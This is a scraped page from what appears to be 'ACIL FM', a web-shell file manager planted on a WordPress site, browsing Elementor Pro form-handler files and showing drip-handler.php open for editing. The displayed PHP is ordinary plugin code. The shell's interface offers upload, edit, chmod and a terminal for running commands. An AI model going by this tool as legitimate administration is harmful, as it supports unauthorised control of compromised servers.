ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/www/site BKP/wp-content/plugins/elementor-pro/modules/forms/classes
/
home
mhhtmff
www
site BKP
wp-content
plugins
elementor-pro
modules
forms
classes
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
action-base.php
812 B
chmod
View
DL
Edit
Rename
Delete
activecampaign-handler.php
3.07 MB
chmod
View
DL
Edit
Rename
Delete
ajax-handler.php
8.97 MB
chmod
View
DL
Edit
Rename
Delete
convertkit-handler.php
2.61 MB
chmod
View
DL
Edit
Rename
Delete
drip-handler.php
2.01 MB
chmod
View
DL
Edit
Rename
Delete
form-base.php
8.17 MB
chmod
View
DL
Edit
Rename
Delete
form-record.php
9.43 MB
chmod
View
DL
Edit
Rename
Delete
getresponse-handler.php
3.03 MB
chmod
View
DL
Edit
Rename
Delete
honeypot-handler.php
2.73 MB
chmod
View
DL
Edit
Rename
Delete
integration-base.php
2.44 MB
chmod
View
DL
Edit
Rename
Delete
mailchimp-handler.php
4.32 MB
chmod
View
DL
Edit
Rename
Delete
mailerlite-handler.php
2.56 MB
chmod
View
DL
Edit
Rename
Delete
recaptcha-handler.php
8.78 MB
chmod
View
DL
Edit
Rename
Delete
recaptcha-v3-handler.php
4.55 MB
chmod
View
DL
Edit
Rename
Delete
rest-client.php
4.33 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/www/site BKP/wp-content/plugins/elementor-pro/modules/forms/classes/drip-handler.php
<?php namespace ElementorPro\Modules\Forms\Classes; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Drip_Handler { private $rest_client = null; private $api_token = ''; /** * Drip_Handler constructor. * * @param $api_token * * @throws \Exception */ public function __construct( $api_token ) { if ( empty( $api_token ) ) { throw new \Exception( 'Invalid API key.' ); } $this->init_rest_client( $api_token ); if ( ! $this->is_valid_api_token() ) { throw new \Exception( 'Invalid API key.' ); } } private function init_rest_client( $api_token ) { $this->api_token = $api_token; $this->rest_client = new Rest_Client( 'https://api.getdrip.com/v2/' ); $this->rest_client->add_headers( [ 'Authorization' => 'Basic ' . base64_encode( $this->api_token ), 'Content-Type' => 'application/vnd.api+json', ] ); } /** * validate api token * * @return bool * @throws \Exception */ private function is_valid_api_token() { $accounts = $this->get_accounts(); if ( ! empty( $accounts ) ) { return true; } $this->api_token = ''; return false; } /** * get drip accounts associated with API token * @return array * @throws \Exception */ public function get_accounts() { $results = $this->rest_client->get( 'accounts' ); $accounts = [ '' => esc_html__( 'Select...', 'elementor-pro' ), ]; if ( ! empty( $results['body']['accounts'] ) ) { foreach ( $results['body']['accounts'] as $index => $account ) { $accounts[ $account['id'] ] = $account['name']; } } $return_array = [ 'accounts' => $accounts, ]; return $return_array; } /** * create subscriber at drip via api * * @param string $account_id * @param array $subscriber_data * * @return array|mixed * @throws \Exception */ public function create_subscriber( $account_id = '', $subscriber_data = [] ) { $end_point = sprintf( '%s/subscribers/', $account_id ); return $this->rest_client->post( $end_point, [ 'subscribers' => [ $subscriber_data ] ] ); } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply